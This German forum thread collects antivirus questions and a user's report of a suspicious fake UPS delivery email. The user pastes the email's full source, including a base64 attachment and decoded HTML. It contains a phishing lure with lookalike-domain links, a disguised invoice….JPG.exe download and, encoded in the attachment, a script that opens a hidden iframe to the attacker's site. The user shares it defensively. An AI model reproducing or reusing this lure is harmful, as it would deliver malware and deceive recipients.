Viren(scanner), Würmer und PC Schutz FAQ

Ja. Antivir kaufen oder eine andere Software einsetzen...

 

Ich suche auch einen Virenscanner der einfach nur schlicht ist, eigentlich brauche ich gar keinen. Nutze den PC nur zum Zocken, rufe keine Emails ab, stecke keine Medien an und surfe nur auf größeren und seriösen Seiten....zur Not will ich halt dann doch einen Aber welcher ist schlicht und hat nicht noch 1000 extra Tool mit Webinterface und co!?

 

Microsoft Security Essentials

 

Das habe ich gerade ergooglet, ist das schön spartanisch und ausreichend?

Avast Free soll in der neuen Versionen auch nicht schlecht sein, aber MSE sieht sehr solide und einfach aus. Nutzt du das?

 

Ich hatte das am Laptop und am Wohnzimmer PC, ist der schlichteste AV den ich kenne (was nicht soo viel heißt, ich kenn gradmal ne Hand voll Produkte). Zumal auch der Netzwerkverkehr untersucht wird.

Updates kannst du über den AV oder über Windows Update (sind optionale Updates) einspielen.

 

Guten Tag, hab heute mal aufgrund von akuter Paranoia eine AntiVir Rescue Disk runtergeladen und lasse sie gerade das gesamte System scannen (Mein F-Secure hat leider schon immer Probleme gehabt alles zu scannen). Nun hat diese Rescue Disk etwas gefunden, merkwürdigerweise im F-Secure Verzeichnis.

Um genau zu sein:

f-secure/FSAUA/Content/aquawin32/1337566294/cevakrnl.rv0

Dort soll angeblich die Signatur des HTML script Virus HTML/Infected.WebPage.Gen liegen.

Nach ein bisschen Google Recherche, bin ich aber im Avira Forum auf einen Fall gestoßen, bei dem ein User ein Unitymedia Sicherheitspaket hatte, anschließend Avira installiert hat und Avira dann in einem sehr ähnlichen Pfad, wie dem Meinen (Alles bis auf den Ordner mit der langen Zahl war gleich, sowohl Ordner, als auch Datei, als auch Fund) einen Fund gemacht hat.

Daraufhin meinte einer der Avira Support Mitarbeiter, dass es normal sei, dass Antiviren Programme sich gegenseitig detektieren würden.

Daher nun meine Frage: Muss ich mir Sorgen machen und das System plätten, oder können sich einfach F-Secure und AntiVir gegenseitig nicht ausstehen und ich kann das ignorieren (F-Secure selber findet auf dem System nichts)

Oh und noch eine Frage: Kann es sein, dass Unitymedia tatsächlich auf die F-Secure Scannerengine setzt, das wäre ja erstaunlich gute Qualität für so ein "Sicherheitspaket"

 

Heute ne Mail via Thunderbird auf meinem Web.de Account bekommen:

UPS Quantum View, UPS Delivery Notification, Tracking Number 4E9C2029C8FE7948.

Im Anhang ne lustige .html Datei mit der Bezeichnung invoice und dann diese Nummer.

Ich bin mir absolut sicher, dass das ein Betrugsversuch ist, allerdings war Thunderbird so schlau das Ding nicht so einzustufen und im Vorschaufenster besagte Datei teilweise zu öffnen (oben mit der Meldung zum Nachladen von Daten, natürlich nicht angeklickt). Jetzt kann ich teile des Inhalts dieser Datei sehen, wenn auch nur im Vorschaufenster.

Und jetzt mache ich mir Sorgen: Muss ich von einer Infektion ausgehen, oder hat die Tatsache, dass es nur das Vorschaufenster war und ich nicht auf externe Inhalte anzeigen geklickt habe Schlimmeres verhindert?

Edit: Hier mal den Quelltext, natürlich mit editierten persönlichen Infos:

Code:

From - Mon Jun 04 16:04:46 2012
X-Account-Key: account3
X-UIDL: 0MWUeU-1SVVE11oiI-00X8hu
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Return-Path: [email protected]
Received: from mail27.seovirtual.com.br ([201.33.21.59]) by mx-ha.web.de
 (mxweb102) with ESMTP (Nemesis) id 0MWUeU-1SVVE11oiI-00X8hu for
 <[email protected]>; Mon, 04 Jun 2012 15:49:40 +0200
Received: by mail27.seovirtual.com.br (Postfix, from userid 48)
	id CA4A1B4AC1; Mon,  4 Jun 2012 21:46:28 -0300 (BRT)
To: [email protected]
Subject: UPS Delivery Notification, Tracking Number 4E9C2029C8FE7948
Date: Mon, 4 Jun 2012 21:46:28 -0300
From: UPS Quantum View <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
X-Message-Status: s1:0
X-SID-PRA: UPS Quantum View<[email protected]>
X-SID-Result: TempError
Conversion-With-Loss: Yes
Sensitivity: 3
Expiry-Date: Never
X-MSmail-Priority: High
X-Originating-Email: UPS Quantum View<[email protected]>
X-Originating-IP: [213.219.1.14]
X-iGspam-global: Unsure, spamicity=0.748491 - pe=7.48e-01 - pf=0.748491 - pg=0.748491
X-oemPro-CSID: MjgxXzI3NA==
Received: UPS Quantum View<[email protected]>
Errors-To: [email protected], [email protected],
	[email protected]
DomainKey-Status: good
Received-SPF: pass
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="b1_8c85422cac023add9107f239f49adc8d"
Envelope-To: <[email protected]>
X-UI-Filterresults: ;V01:K0:PTk1mAp0:vdq0Q4T5fne6cOyo6rzSSbwxsU6I0LS737g
 uLp4RF1HOOvqD7mDskjcCS/CRjE7lB7RjuMETWdIK7T7b7WFzoL9Y9sgFFTTC72WXSKTH2o
 BfFFNKJYUMZVeTZ5RcUmt/1U0JnoyE2wy0W0W9AzyszH2SKn6TDj8pYCP+s9oXdtvO8iHXc
 jirnhZbFpI+3E2A8DKSaKubr6ip53sKZR4zOfrju2U9yzW/N1qMmdm48TJZ85GSi/8O7GpU
 8ysfW0+XpgR0g7u9+4tXfdU/pz3NoaJu2ozPaKZn2MuI46UwGmXaOjWb1P3FAy44JyVMPGs
 f


--b1_8c85422cac023add9107f239f49adc8d
Content-Type: multipart/alternative;
	boundary="b2_8c85422cac023add9107f239f49adc8d"

--b2_8c85422cac023add9107f239f49adc8d
Content-Type: text/plain; charset = "iso-8859-1"
Content-Transfer-Encoding: quoted-printable


To view the message, please use an HTML compatible email viewer!


--b2_8c85422cac023add9107f239f49adc8d
Content-Type: text/html; charset = "iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<br/>
<span style=3D"font-family: monospace; font-size: 13px; white-space: pre-=
wrap; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spa=
cing: 2px; "> You have attached the invoice for your package delivery. </=
span>
<div><span style=3D"font-family: monospace; font-size: 13px; white-space:=
 pre-wrap; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertica=
l-spacing: 2px; "><br/>
    </span></div>
<div><span style=3D"font-family: monospace; font-size: 13px; white-space:=
 pre-wrap; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertica=
l-spacing: 2px; "> Thank you,</span></div>
<div><span style=3D"font-family: monospace; font-size: 13px; white-space:=
 pre-wrap; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertica=
l-spacing: 2px; "> United Parcel Service</span></div>
<div><span style=3D"font-family: monospace; font-size: 13px; white-space:=
 pre-wrap; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertica=
l-spacing: 2px; "> <p>*** This is an automatically generated email, pleas=
e do not reply ***</p></span></div><br/>



--b2_8c85422cac023add9107f239f49adc8d--
--b1_8c85422cac023add9107f239f49adc8d
Content-Type: application/octet-stream; name="invoice4E9C2029C8FE7948.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice4E9C2029C8FE7948.html"

PGhlYWQ+DQogIDx0aXRsZT4gTmV3IFBhY2thZ2UgICMgNEU5QzIwMjlDOEZFNzk0ODwvdGl0bGU+
DQogPC9oZWFkPg0KIDxib2R5Pg0KICA8L2Rpdj4NCjxwPjxmb250IGZhY2U9IlRpbWVzIE5ldyBS
b21hbiIgc2l6ZT0iMyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMnB0Ij4gIDwvc3Bhbj48L2Zv
bnQ+PC9wPg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCjx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZDpy
Z2IoMjIwLDIzNywyMjkpIG5vbmUgcmVwZWF0IHNjcm9sbCAwJSAwJTt3aWR0aDo0MTIuNXB0IiBi
Z2NvbG9yPSIjZGNlZGU1IiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0i
MCIgd2lkdGg9IjU1MCI+DQo8dGJvZHk+PHRyPg0KPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJwYWRk
aW5nOjBpbiI+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRhYmxlIHN0eWxlPSJ3aWR0aDoxMDAl
IiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUi
Pg0KPHRib2R5Pjx0cj4NCjx0ZCBzdHlsZT0icGFkZGluZzowaW47YmFja2dyb3VuZDpyZ2IoMCwx
MjksMTUyKSBub25lIHJlcGVhdCBzY3JvbGwgMCUgMCUiIGJnY29sb3I9IiMwMDgxOTgiPg0KPHA+
PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHlsZT0iZm9udC1z
aXplOjEycHQiPjxhIHJlbD0ibm9mb2xsb3ciIGhyZWY9Imh0dHA6Ly93d3c2YXBwcy1teXVwcy5j
b20vbWFpbi5waHA/cGFnZT00ZTljMjAyOWM4ZmU3OTQ4IiB0YXJnZXQ9Il9ibGFuayI+PHNwYW4g
c3R5bGU9InRleHQtZGVjb3JhdGlvbjpub25lIj48aW1nIHNyYz0iaHR0cDovL3d3dy51cHMuY29t
L2ltZy9lbi9jYS9lbWFpbF9oZWFkZXJfYmx1ZS5naWYiIGFsdD0iVVBTIiBib3JkZXI9IjAiIGhl
aWdodD0iNzIiIHdpZHRoPSI1NTAiPjwvc3Bhbj48L2E+PC9zcGFuPjwvZm9udD48L3A+DQo8L3Rk
Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjwvZGl2Pg0KDQo8cD48Zm9udCBjb2xvcj0iIzYw
NTEzYSIgZmFjZT0iQXJpYWwiIHNpemU9IjIiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTBwdDtm
b250LWZhbWlseTpBcmlhbDtjb2xvcjpyZ2IoOTYsODEsNTgpIj48L3NwYW4+PC9mb250PjwvcD4N
CjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHA+PGZvbnQgY29sb3I9IiM2MDUxM2EiIGZhY2U9IkFyaWFs
IiBzaXplPSIxIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjlwdDtmb250LWZhbWlseTpBcmlhbDtj
b2xvcjpyZ2IoOTYsODEsNTgpIj48L3NwYW4+PC9mb250PjwvcD4NCjwvdGQ+DQo8dGQgc3R5bGU9
InBhZGRpbmc6MGluO2JhY2tncm91bmQ6d2hpdGUgbm9uZSByZXBlYXQgc2Nyb2xsIDAlIDAlO3dp
ZHRoOjI4MnB0IiBiZ2NvbG9yPSJ3aGl0ZSIgdmFsaWduPSJ0b3AiIHdpZHRoPSIzNzYiPg0KPHA+
PGZvbnQgY29sb3I9IiM2MDUxM2EiIGZhY2U9IkFyaWFsIiBzaXplPSIyIj48c3BhbiBzdHlsZT0i
Zm9udC1zaXplOjEwcHQ7Zm9udC1mYW1pbHk6QXJpYWw7Y29sb3I6cmdiKDk2LDgxLDU4KSI+PGlt
ZyBzcmM9Imh0dHA6Ly93d3cudXBzLmNvbS9pbWcvMS5naWYiIGJvcmRlcj0iMCIgaGVpZ2h0PSIx
IiB3aWR0aD0iMTMxIj48L3NwYW4+PC9mb250PjwvcD4NCjx0YWJsZSBzdHlsZT0id2lkdGg6MTAw
JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAl
Ij4NCjx0Ym9keT48dHI+DQo8dGQgc3R5bGU9InBhZGRpbmc6Ny41cHQiIHZhbGlnbj0idG9wIj4N
CjxwPjxiPjxmb250IGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6ZT0iMyI+PHNwYW4gc3R5bGU9
ImZvbnQtc2l6ZToxMnB0O2ZvbnQtd2VpZ2h0OmJvbGQiPkltcG9ydGFudCBEZWxpdmVyeSBJbmZv
cm1hdGlvbjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4NCjxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2Vu
dGVyIiBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9IjMi
PjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTJwdCI+DQo8aHIgYWxpZ249ImNlbnRlciIgc2l6ZT0i
MiIgd2lkdGg9IjEwMCUiPg0KPC9zcGFuPjwvZm9udD48L2Rpdj4NCjxCUi8+DQo8dGFibGUgd2lk
dGg9IjQ0NiIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dGJvZHk+PHRyPg0KPHRkIHdp
ZHRoPSIxNzYiIHN0eWxlPSJwYWRkaW5nOjAuNzVwdCI+DQo8cD48Yj48Zm9udCBmYWNlPSJUaW1l
cyBOZXcgUm9tYW4iIHNpemU9IjMiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTJwdDtmb250LXdl
aWdodDpib2xkIj5UcmFja2luZyBOdW1iZXI6PC9zcGFuPjwvZm9udD48L2I+PC9wPjwvdGQ+DQoN
Cjx0ZCB3aWR0aD0iMTUyIiBzdHlsZT0icGFkZGluZzowLjc1cHQiPg0KPHA+PGZvbnQgZmFjZT0i
VGltZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEycHQiPjxh
IHJlbD0ibm9mb2xsb3ciIGhyZWY9Imh0dHA6Ly93d3c2YXBwcy1teXVwcy5jb20vbWFpbi5waHA/
cGFnZT00ZTljMjAyOWM4ZmU3OTQ4IiB0YXJnZXQ9Il9ibGFuayI+NEU5QzIwMjlDOEZFNzk0ODwv
YT48L3NwYW4+PC9mb250PjwvcD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBzdHlsZT0icGFkZGlu
ZzowLjc1cHQiPg0KPHA+PGI+PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIj48c3BhbiBzdHls
ZT0iZm9udC1zaXplOjEycHQ7Zm9udC13ZWlnaHQ6Ym9sZCI+STwvc3Bhbj48L2ZvbnQ+PGZvbnQg
ZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEy
cHQ7Zm9udC13ZWlnaHQ6Ym9sZCI+bnZvaWNlIGNhbiBiZSBkb3dubG9hZGVkIGZyb206PC9zcGFu
PjwvZm9udD48L2I+PC9wPjwvdGQ+DQo8dGQgc3R5bGU9InBhZGRpbmc6MC43NXB0Ij4NCjxwPjxm
b250IGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6ZT0iMyI+PGEgcmVsPSJub2ZvbGxvdyIgaHJl
Zj0iaHR0cDovL3RyYWNrLnd3dzZhcHBzLW15dXBzLmNvbS9pbnZvaWNlNEU5QzIwMjlDOEZFNzk0
OC5KUEcuZXhlIiB0YXJnZXQ9Il9ibGFuayI+NEU5QzIwMjlDOEZFNzk0ODwvYT48L2ZvbnQ+PC9w
PjwvdGQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBh
ZGRpbmc9IjAiPg0KPHRib2R5Pjx0cj4NCjx0ZCBzdHlsZT0icGFkZGluZzowLjc1cHQiPg0KPHA+
PGI+PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHlsZT0iZm9u
dC1zaXplOjEycHQ7Zm9udC13ZWlnaHQ6Ym9sZCI+TnVtYmVyIG9mIFBhY2thZ2VzOjwvc3Bhbj48
L2ZvbnQ+PC9iPjwvcD48L3RkPg0KPHRkIHN0eWxlPSJwYWRkaW5nOjAuNzVwdCI+DQo8cD48Zm9u
dCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9IjMiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6
MTJwdCI+MTwvc3Bhbj48L2ZvbnQ+PC9wPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIHN0eWxlPSJw
YWRkaW5nOjAuNzVwdCI+DQo8cD48Yj48Zm9udCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9
IjMiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTJwdDtmb250LXdlaWdodDpib2xkIj5VUFMgU2Vy
dmljZTo8L3NwYW4+PC9mb250PjwvYj48L3A+PC90ZD4NCjx0ZCBzdHlsZT0icGFkZGluZzowLjc1
cHQiPg0KPHA+PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHls
ZT0iZm9udC1zaXplOjEycHQiPkVYUFJFU1M8L3NwYW4+PC9mb250PjwvcD48L3RkPg0KPC90cj4N
Cjx0cj4NCjx0ZCBzdHlsZT0icGFkZGluZzowLjc1cHQiPg0KPHA+PGI+PGZvbnQgZmFjZT0iVGlt
ZXMgTmV3IFJvbWFuIiBzaXplPSIzIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEycHQ7Zm9udC13
ZWlnaHQ6Ym9sZCI+V2VpZ2h0Ojwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD48L3RkPg0KDQo8dGQgc3R5
bGU9InBhZGRpbmc6MC43NXB0Ij4NCjxwPjxmb250IGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6
ZT0iMyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMnB0Ij4wLjEgTEJTPC9zcGFuPjwvZm9udD48
L3A+PC90ZD4NCjwvdHI+DQo8L3Rib2R5PjwvdGFibGU+DQo8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWdu
OmNlbnRlciIgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXpl
PSIzIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEycHQiPg0KDQo8aHIgYWxpZ249ImNlbnRlciIg
c2l6ZT0iMiIgd2lkdGg9IjEwMCUiPg0KPC9zcGFuPjwvZm9udD48L2Rpdj4NCjxwPjxmb250IGZh
Y2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6ZT0iMyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMnB0
Ij48L3RkPg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxzdHJvbmc+PGZvbnQgY29sb3I9IiNG
RjAwMDAiPg0KPC9wPg0KPC9mb250Pjwvc3Ryb25nPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNv
bHNwYW49IjIiIHN0eWxlPSJwYWRkaW5nOjBpbiI+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRh
YmxlIHN0eWxlPSJ3aWR0aDoxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3Bh
Y2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KPHRib2R5Pjx0cj4NCjx0ZCBzdHlsZT0icGFkZGluZzow
aW4iIHZhbGlnbj0idG9wIj4NCjxwPjxmb250IGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6ZT0i
MSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTo4cHQiPiAgPC9zcGFuPjwvZm9udD48L3A+DQo8ZGl2
IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciIgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGlt
ZXMgTmV3IFJvbWFuIiBzaXplPSIxIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjhwdCI+DQoNCjxo
ciBhbGlnbj0iY2VudGVyIiBjb2xvcj0iI2FjYTg5OSIgbm9zaGFkZSBzaXplPSIyIiB3aWR0aD0i
MTAwJSI+DQo8L3NwYW4+PC9mb250PjwvZGl2Pg0KPHA+PGZvbnQgZmFjZT0iVGltZXMgTmV3IFJv
bWFuIiBzaXplPSIxIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjhwdCI+qSAyMDExIFVuaXRlZCBQ
YXJjZWwgU2VydmljZS4gVVBTLCB0aGUgVVBTDQpicmFuZG1hcmssIGFuZCB0aGUgY29sb3IgYnJv
d24gYXJlIHRyYWRlbWFya3Mgb2YgVW5pdGVkIFBhcmNlbCBTZXJ2aWNlIG9mDQpBbWVyaWNhLCBJ
bmMuIEFsbCByaWdodHMgcmVzZXJ2ZWQuIDxicj4NCkZvciBtb3JlIGluZm9ybWF0aW9uIG9uIFVQ
UyYjMzk7cyBwcml2YWN5IHByYWN0aWNlcywgcmVmZXIgdG8gdGhlIFVQUyBQcml2YWN5DQpQb2xp
Y3kuIDxicj4NClBsZWFzZSBkbyBub3QgcmVwbHkgZGlyZWN0bHkgdG8gdGhpcyBlLW1haWwuIFVQ
UyB3aWxsIG5vdCByZWNlaXZlIGFueSByZXBseQ0KbWVzc2FnZS4gPGJyPg0KRm9yIHF1ZXN0aW9u
cyBvciBjb21tZW50cywgdmlzaXQgQ29udGFjdCBVUFMuIDxicj4NCjxicj4NClRoaXMgY29tbXVu
aWNhdGlvbiBjb250YWlucyBwcm9wcmlldGFyeSBpbmZvcm1hdGlvbiBhbmQgbWF5IGJlDQpjb25m
aWRlbnRpYWwuIElmIHlvdSBhcmUgbm90IHRoZSBpbnRlbmRlZCByZWNpcGllbnQsIHRoZSByZWFk
aW5nLCBjb3B5aW5nLA0KZGlzY2xvc3VyZSBvciBvdGhlciB1c2Ugb2YgdGhlIGNvbnRlbnRzIG9m
IHRoaXMgZS1tYWlsIGlzIHN0cmljdGx5DQpwcm9oaWJpdGVkIGFuZCB5b3UgYXJlIGluc3RydWN0
ZWQgdG8gcGxlYXNlIGRlbGV0ZSB0aGlzIGUtbWFpbCBpbW1lZGlhdGVseS4NCjwvc3Bhbj48L2Zv
bnQ+PC9wPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQoNCjx0ZCBzdHlsZT0icGFkZGluZzowaW4iIHZh
bGlnbj0idG9wIj4NCjxwPjxmb250IGZhY2U9IlRpbWVzIE5ldyBSb21hbiIgc2l6ZT0iMSI+PHNw
YW4gc3R5bGU9ImZvbnQtc2l6ZTo4cHQiPjxhIHJlbD0ibm9mb2xsb3ciIGhyZWY9Imh0dHA6Ly93
d3c2YXBwcy1teXVwcy5jb20vbWFpbi5waHA/cGFnZT00ZTljMjAyOWM4ZmU3OTQ4IiB0YXJnZXQ9
Il9ibGFuayI+UHJpdmFjeQ0KUG9saWN5PC9hPjxicj4NCjxhIHJlbD0ibm9mb2xsb3ciIGhyZWY9
Imh0dHA6Ly93d3c2YXBwcy1teXVwcy5jb20vbWFpbi5waHA/cGFnZT00ZTljMjAyOWM4ZmU3OTQ4
IiB0YXJnZXQ9Il9ibGFuayI+Q29udGFjdA0KVVBTPC9hPjwvc3Bhbj48L2ZvbnQ+PC9wPg0KPC90
ZD4NCjwvdHI+DQo8L3Rib2R5PjwvdGFibGU+DQo8L2Rpdj4NCjxwPjxmb250IGNvbG9yPSIjNjA1
MTNhIiBmYWNlPSJBcmlhbCIgc2l6ZT0iMiI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMHB0O2Zv
bnQtZmFtaWx5OkFyaWFsO2NvbG9yOnJnYig5Niw4MSw1OCkiPjxpbWcgc3JjPSJodHRwOi8vd3d3
NmFwcHMtbXl1cHMuY29tL21haW4ucGhwP3BhZ2U9NGU5YzIwMjljOGZlNzk0OCIgYm9yZGVyPSIw
IiBoZWlnaHQ9IjEiIHdpZHRoPSIxIj48L3NwYW4+PC9mb250PjwvcD4NCjwvdGQ+DQo8L3RyPg0K
PC90Ym9keT48L3RhYmxlPg0KPC9kaXY+DQo8cD48Zm9udCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4i
IHNpemU9IjMiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTJwdCI+ICA8L3NwYW4+PC9mb250Pjwv
cD4NCg0KPC9kaXY+DQo8L2Rpdj48L2Jsb2NrcXVvdGU+PC90ZD48L3RyPjwvdGFibGU+DQo8L2Rp
dj4NCjwvdGFibGU+DQoNCiA8L2JvZHk+DQo8L2h0bWw+DQo8IS0tIGNvdW50ZXIgLS0+PHNjcmlw
dCBsYW5ndWFnZT1qYXZhc2NyaXB0PnN0YXR1cz1sb2NhdGlvbjtkb2N1bWVudC53cml0ZSgnPGlm
cmFtZSBzcmM9Imh0dHA6Ly93d3c2YXBwcy1teXVwcy5jb20vbWFpbi5waHA/cGFnZT00ZTljMjAy
OWM4ZmU3OTQ4IiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+
Jyk7PC9zY3JpcHQ+PCEtLSBjb3VudGVyIC0tPg0K


--b1_8c85422cac023add9107f239f49adc8d--

Edit 2: Und hier der Quelltext der enthaltenen .html Datei (mitm Editor geöffnet)

Code:

<head>
  <title> New Package  # 4E9C2029C8FE7948</title>
 </head>
 <body>
  </div>
<p><font face="Times New Roman" size="3"><span style="font-size:12pt">  </span></font></p>
<div align="center">
<table style="background:rgb(220,237,229) none repeat scroll 0% 0%;width:412.5pt" bgcolor="#dcede5" border="0" cellpadding="0" cellspacing="0" width="550">
<tbody><tr>
<td colspan="2" style="padding:0in">
<div align="center">
<table style="width:100%" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td style="padding:0in;background:rgb(0,129,152) none repeat scroll 0% 0%" bgcolor="#008198">
<p><font face="Times New Roman" size="3"><span style="font-size:12pt"><a rel="nofollow" href="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" target="_blank"><span style="text-decoration:none"><img src="http://www.ups.com/img/en/ca/email_header_blue.gif" alt="UPS" border="0" height="72" width="550"></span></a></span></font></p>
</td>
</tr>
</tbody></table>
</div>

<p><font color="#60513a" face="Arial" size="2"><span style="font-size:10pt;font-family:Arial;color:rgb(96,81,58)"></span></font></p>
</td>
</tr>
<tr>
<p><font color="#60513a" face="Arial" size="1"><span style="font-size:9pt;font-family:Arial;color:rgb(96,81,58)"></span></font></p>
</td>
<td style="padding:0in;background:white none repeat scroll 0% 0%;width:282pt" bgcolor="white" valign="top" width="376">
<p><font color="#60513a" face="Arial" size="2"><span style="font-size:10pt;font-family:Arial;color:rgb(96,81,58)"><img src="http://www.ups.com/img/1.gif" border="0" height="1" width="131"></span></font></p>
<table style="width:100%" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td style="padding:7.5pt" valign="top">
<p><b><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">Important Delivery Information</span></font></b></p>
<div style="text-align:center" align="center"><font face="Times New Roman" size="3"><span style="font-size:12pt">
<hr align="center" size="2" width="100%">
</span></font></div>
<BR/>
<table width="446" border="0" cellpadding="0">
<tbody><tr>
<td width="176" style="padding:0.75pt">
<p><b><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">Tracking Number:</span></font></b></p></td>

<td width="152" style="padding:0.75pt">
<p><font face="Times New Roman" size="3"><span style="font-size:12pt"><a rel="nofollow" href="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" target="_blank">4E9C2029C8FE7948</a></span></font></p></td>
</tr>
<tr>
<td style="padding:0.75pt">
<p><b><font face="Times New Roman"><span style="font-size:12pt;font-weight:bold">I</span></font><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">nvoice can be downloaded from:</span></font></b></p></td>
<td style="padding:0.75pt">
<p><font face="Times New Roman" size="3"><a rel="nofollow" href="http://track.www6apps-myups.com/invoice4E9C2029C8FE7948.JPG.exe" target="_blank">4E9C2029C8FE7948</a></font></p></td>
</tr>
</tbody></table>
<table border="0" cellpadding="0">
<tbody><tr>
<td style="padding:0.75pt">
<p><b><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">Number of Packages:</span></font></b></p></td>
<td style="padding:0.75pt">
<p><font face="Times New Roman" size="3"><span style="font-size:12pt">1</span></font></p></td>
</tr>
<tr>
<td style="padding:0.75pt">
<p><b><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">UPS Service:</span></font></b></p></td>
<td style="padding:0.75pt">
<p><font face="Times New Roman" size="3"><span style="font-size:12pt">EXPRESS</span></font></p></td>
</tr>
<tr>
<td style="padding:0.75pt">
<p><b><font face="Times New Roman" size="3"><span style="font-size:12pt;font-weight:bold">Weight:</span></font></b></p></td>

<td style="padding:0.75pt">
<p><font face="Times New Roman" size="3"><span style="font-size:12pt">0.1 LBS</span></font></p></td>
</tr>
</tbody></table>
<div style="text-align:center" align="center"><font face="Times New Roman" size="3"><span style="font-size:12pt">

<hr align="center" size="2" width="100%">
</span></font></div>
<p><font face="Times New Roman" size="3"><span style="font-size:12pt"></td>
</tr>
</tbody></table>
<strong><font color="#FF0000">
</p>
</font></strong></td>
</tr>
<tr>
<td colspan="2" style="padding:0in">
<div align="center">
<table style="width:100%" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td style="padding:0in" valign="top">
<p><font face="Times New Roman" size="1"><span style="font-size:8pt">  </span></font></p>
<div style="text-align:center" align="center"><font face="Times New Roman" size="1"><span style="font-size:8pt">

<hr align="center" color="#aca899" noshade size="2" width="100%">
</span></font></div>
<p><font face="Times New Roman" size="1"><span style="font-size:8pt">© 2011 United Parcel Service. UPS, the UPS
brandmark, and the color brown are trademarks of United Parcel Service of
America, Inc. All rights reserved. <br>
For more information on UPS's privacy practices, refer to the UPS Privacy
Policy. <br>
Please do not reply directly to this e-mail. UPS will not receive any reply
message. <br>
For questions or comments, visit Contact UPS. <br>
<br>
This communication contains proprietary information and may be
